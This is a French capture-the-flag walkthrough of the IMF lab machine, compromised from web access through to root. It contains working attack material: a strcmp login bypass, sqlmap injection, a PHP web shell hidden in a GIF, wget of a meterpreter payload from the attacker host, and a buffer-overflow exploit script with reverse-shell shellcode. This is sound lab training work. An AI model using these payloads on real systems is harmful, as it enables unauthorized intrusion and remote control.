IMF - Write Up

Reconnaissance

Nmap -sS -A 192.168.43.39
 
Seul le port 80 est ouvert :
 
Apache/2.4.18 (Ubuntu) Server at 192.168.43.39 Port 80

Exploitation web

Dans les sources de la page on remarque que le nom des fichiers js semblent suspect :

index.html
 <script src="js/vendor/modernizr-2.6.2.min.js"></script>
        <script src="js/vendor/jquery-1.10.2.min.js"></script>
        <script src="js/bootstrap.min.js"></script>
        <script src="js/ZmxhZzJ7YVcxbVl.js"></script>
        <script src="js/XUnRhVzVwYzNS.js"></script>
        <script src="js/eVlYUnZjZz09fQ==.min.js"></script>
        <script>

Si on les décode en base64 on obtient :

echo 'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' | base64 -d
 
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
echo 'aW1mYWRtaW5pc3RyYXRvcg==' | base64 -d
imfadministrator 

Effectivement un dossier imfadministrator existe bien et il nous demande une authentification.

Dans les sources , un commentaire exclu le fait de bypasser l'authentification avec une injection SQL.

imfadministrator/index.php
<form method="POST" action="">
<label>Username:</label><input type="text" name="user" value=""><br />
<label>Password:</label><input type="password" name="pass" value=""><br />
<input type="submit" value="Login">
<!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
</form>

Nous partons à la pêche aux informations et sur la page contact on trouve :

Nous avons donc potentiellement trois noms de compte :

  1. rmichaels
  2. akeith
  3. estone

Pour bypass l'authentification nous allons utilisons un faille de comparaison sur la fonction strcmp.

http://192.168.43.39/imfadministrator/
post :
user=rmichaels&pass[]=abc

Notre authentification est bien bypassée.

On decode le flag :

echo 'Y29udGludWVUT2Ntcw==' | base64 -d
continueTOcms

On test le paramètre pagename de l'url

http://192.168.43.39/imfadministrator/cms.php?pagename=disavowlist'

Une injection sql est possible.

On exploite l'injection avec sqlmap :

./sqlmap.py -u "http://192.168.43.39/imfadministrator/cms.php?pagename=disavowlist" --cookie="PHPSESSID=srpepu19dpq0ofmst2hl1b31n4" -D admin -T pages --columns 
 
Database: admin                                                                
Table: pages
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(11)      |
| pagedata | text         |
| pagename | varchar(255) |
+----------+--------------+

On récupère le contenu de la table pages :

./sqlmap.py -u "http://192.168.43.39/imfadministrator/cms.php?pagename=disavowlist" --cookie="PHPSESSID=srpepu19dpq0ofmst2hl1b31n4" -D admin -T pages --dump
 
Database: admin
Table: pages
[4 entries]
+----+----------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | pagename             | pagedata                                                                                                                                                              |
+----+----------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1  | upload               | Under Construction.                                                                                                                                                   |
| 2  | home                 | Welcome to the IMF Administration.                                                                                                                                    |
| 3  | tutorials-incomplete | Training classrooms available. <br /><img src="./images/whiteboard.jpg"><br /> Contact us for training.                                                               |
| 4  | disavowlist          | <h1>Disavowed List</h1><img src="./images/redacted.jpg"><br /><ul><li>*********</li><li>****** ******</li><li>*******</li><li>**** ********</li></ul><br />-Secretary |
+----+----------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+

On va visiter la nouvelle page découverte :

http://192.168.43.39/imfadministrator/cms.php?pagename=tutorials-incomplete

On décode le QRcode dans la photos avec le site https://zxing.org/w/decode

On obtient :

flag4{dXBsb2Fkcjk0Mi5waHA=}

On décode le base64 :

echo 'dXBsb2Fkcjk0Mi5waHA=' | base64 -d
uploadr942.php

On va sur la page :

http://192.168.43.39/imfadministrator/uploadr942.php

L'upload n’accepte que les extensions en .gif

Pour uploader notre script php il faut le préparer.

On créé un fichier gif :

echo "FFD8FFE0" | xxd -r -p > shell_wu2.gif

On insère notre script php dedans :

echo '<?php $cmd=$_GET["cmd"]; echo `$cmd`; ?>' >> shell_wu2.gif

Une fois uploadé dans le code source de la page on remarque :

uploadr942.php
<body>
<h1>Intelligence Upload Form</h1> 
File successfully uploaded.
<!-- 566e7e83b57e --><form id="Upload" action="" enctype="multipart/form-data" method="post">
	<p> 

Notre fichier se situe sur le serveur à l'url suivante :

http://192.168.43.39/imfadministrator/uploads/566e7e83b57e.gif

On génère un reverse shell avec metasploit :

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.172 LPORT=8080 -f elf > shell2.elf 

On démarre un serveur web python sur notre machine :

python -m SimpleHTTPServer 80

Nous allons demander à notre backdoor de récupérer notre reverse shell et de lui mettre les pleins droits :

http://192.168.43.39/imfadministrator/uploads/566e7e83b57e.gif?cmd=wget 192.168.43.172/shell2.elf
http://192.168.43.39/imfadministrator/uploads/566e7e83b57e.gif?cmd=chmod 777 shell2.elf

Sur notre machine on ouvre un listener msf avec comme payload linux/x86/meterpreter/reverse_tcp

use exploit/multi/handler
set lhost 192.168.43.172
set lport 8080
set payload linux/x86/meterpreter/reverse_tcp
run

Nous exécutons notre reverse shell :

http://192.168.43.39/imfadministrator/uploads/566e7e83b57e.gif?cmd=./shell2.elf

On passe en mode shell :

meterpreter>shell

Exploitation système & Élévation de privilège

On affiche le flag n°5 :

www-data@imf:/var/www/html/imfadministrator/uploads$ cat flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw==}

On le décode en base64 :

echo 'YWdlbnRzZXJ2aWNlcw==' | base64 -d
agentservices

Si on regarde les connexions de la machine :

netstat -plnt
 
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:7788            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:1234            0.0.0.0:*               LISTEN      2167/nc         
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::80                   :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      - 

Le soft agent tourne sur le port 7788 accessible uniquement en local

Il se situe dans le dossier : /usr/local/bin

On récupère le fichier :

meterpreter> /user/local/bin/agent .

On le décompile sur https://retdec.com/decompilation/

int main(int argc, char ** argv) {
    setbuf((struct _IO_FILE *)g2, NULL);
    int32_t str2;
    asprintf((char **)&str2, "%i", 0x2ddd984);
    puts("  ___ __  __ ___ ");
    puts(" |_ _|  \\/  | __|  Agent");
    puts("  | || |\\/| | _|   Reporting");
    puts(" |___|_|  |_|_|    System\n");
    printf("\nAgent ID : ");
    int32_t str;
    if (fgets((char *)&str, 9, g1) == NULL) {
        // 0x8048746
        return -1;
    }
    // 0x80486ad
    if (strncmp((char *)&str, (char *)str2, 8) != 0) {
        // 0x80486c6
        puts("Invalid Agent ID ");
        // branch -> 0x8048746
        // 0x8048746
        return -2;
    }

0x2ddd984 vaut 48093572 en int

Lorsque on lance l’exécutable, il nous demande un identifiant :

On lui donne l'id 48093572

Cela fonctionne. Maintenant il va falloir trouver comme exploiter les différents options pour obtenir des privilèges root.

On le debug en local avec gdb.

Le but est de trouver un buffer overflow dessus.

gdb ./agent

Création d'un pattern avec gdb

gdb> pattern_create 300
 
A%sA%nA%(A%)A%;A%0A%1A%2A%3A%4A%5A%6A%7A%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-7A-8A-9AasAanAa(Aa)Aa;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9AbsAbnAb(Ab)Ab;Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9AcsAcnAc(Ac)Ac;Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9AdsAdnAd(Ad)Ad;Ad0Ad1Ad2Ad3Ad4
 
gdb> r

On entre le code ci-dessus, on choisit l'option 3 et on colle le pattern.

On obtient un segfault. On va donc chercher où se situe le buffer overflow :

gdb-peda$ pattern_search Ab0Ab1
Registers contain pattern buffer
EIP+0 found at offset: 168
EBP+0 found at offset: 164

EIP est réécrit à partir de 168 caractères.

On prend l'adresse de eax :

jmpcall eax
0x8048563: call eax

On regarde si il y a des éventuels sécurités :

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

Il n'y a pas de protections.

Le logiciel “agent” tourne en local sur le port 7788, on mappe le port avec meterpreter :

meterpreter> portfwd add -l 7788 -p 7788 -r 127.0.0.1

Si on fait “nc 127.0.0.1 7788” sur notre pc on tombe bien sur le logiciel.

On génère le payload contenu dans notre exploit :

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.172 LPORT=1234 -f python -b “\x00\x0a\x0d”

Les caractères en hexa à la fin (bad-char) empêche de mettre des null bytes et des retours à la ligne dans le payload.

On rédige notre exploit (cf exploit.py) (ajout des sockets de connexion et de l'adresse de eax)

exploit.py
import socket
imf = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
imf.connect(("localhost", 7788))
 
imf.recv(1024)
imf.send("48093572\n")
imf.recv(1024)
imf.send("3\n")
imf.recv(1024)
 
 
buf =  ""
buf += "\xdb\xc1\xbf\x45\x74\x9d\x26\xd9\x74\x24\xf4\x5d\x31"
buf += "\xc9\xb1\x12\x83\xed\xfc\x31\x7d\x16\x03\x7d\x16\xe2"
buf += "\xb0\x45\x46\xd1\xd9\xf5\x3b\x4d\x77\xf8\x0b\x17\x0e"
buf += "\x1d\xa6\x58\x87\x85\x51\x99\x0f\x12\x0e\x71\x4d\x65"
buf += "\x4a\x50\xd8\x84\x38\x32\x82\x16\xec\xed\xbb\x76\x4d"
buf += "\xdf\x3b\xca\x55\x66\x3b\x3b\x5a\x98\xb2\xd8\x9b\x73"
buf += "\xc8\xdf\xff\x88\x60\xa2\x32\x10\xdb\xd4\x2c\x88\x6d"
buf += "\xea\x1e\xa8\x5c\x73\xa1\x4e"
 
buf+= "\x90"*(168-len(buf))+"\x63\x85\x04\x08\n"
 
#send exploit
imf.send(buf)
 
print "Payload Sent |+| Check Sessions."

On met le listener en place avec metasploit sur le port 1234 :

use exploit/multi/handler
set lhost 192.168.43.172
set lport 1234
set payload linux/x86/meterpreter/reverse_tcp
run

On exécute notre exploit:

python exploit.py

Nous obtenons une session meterpreter avec les droits root.

On affiche le dernier flag :

root@imf:/# cat /root/Flag.txt
flag6{R2gwc3RQcm90MGMwbHM=}

On décode le dernier flag :

echo 'R2gwc3RQcm90MGMwbHM=' | base64 -d
Gh0stProt0c0ls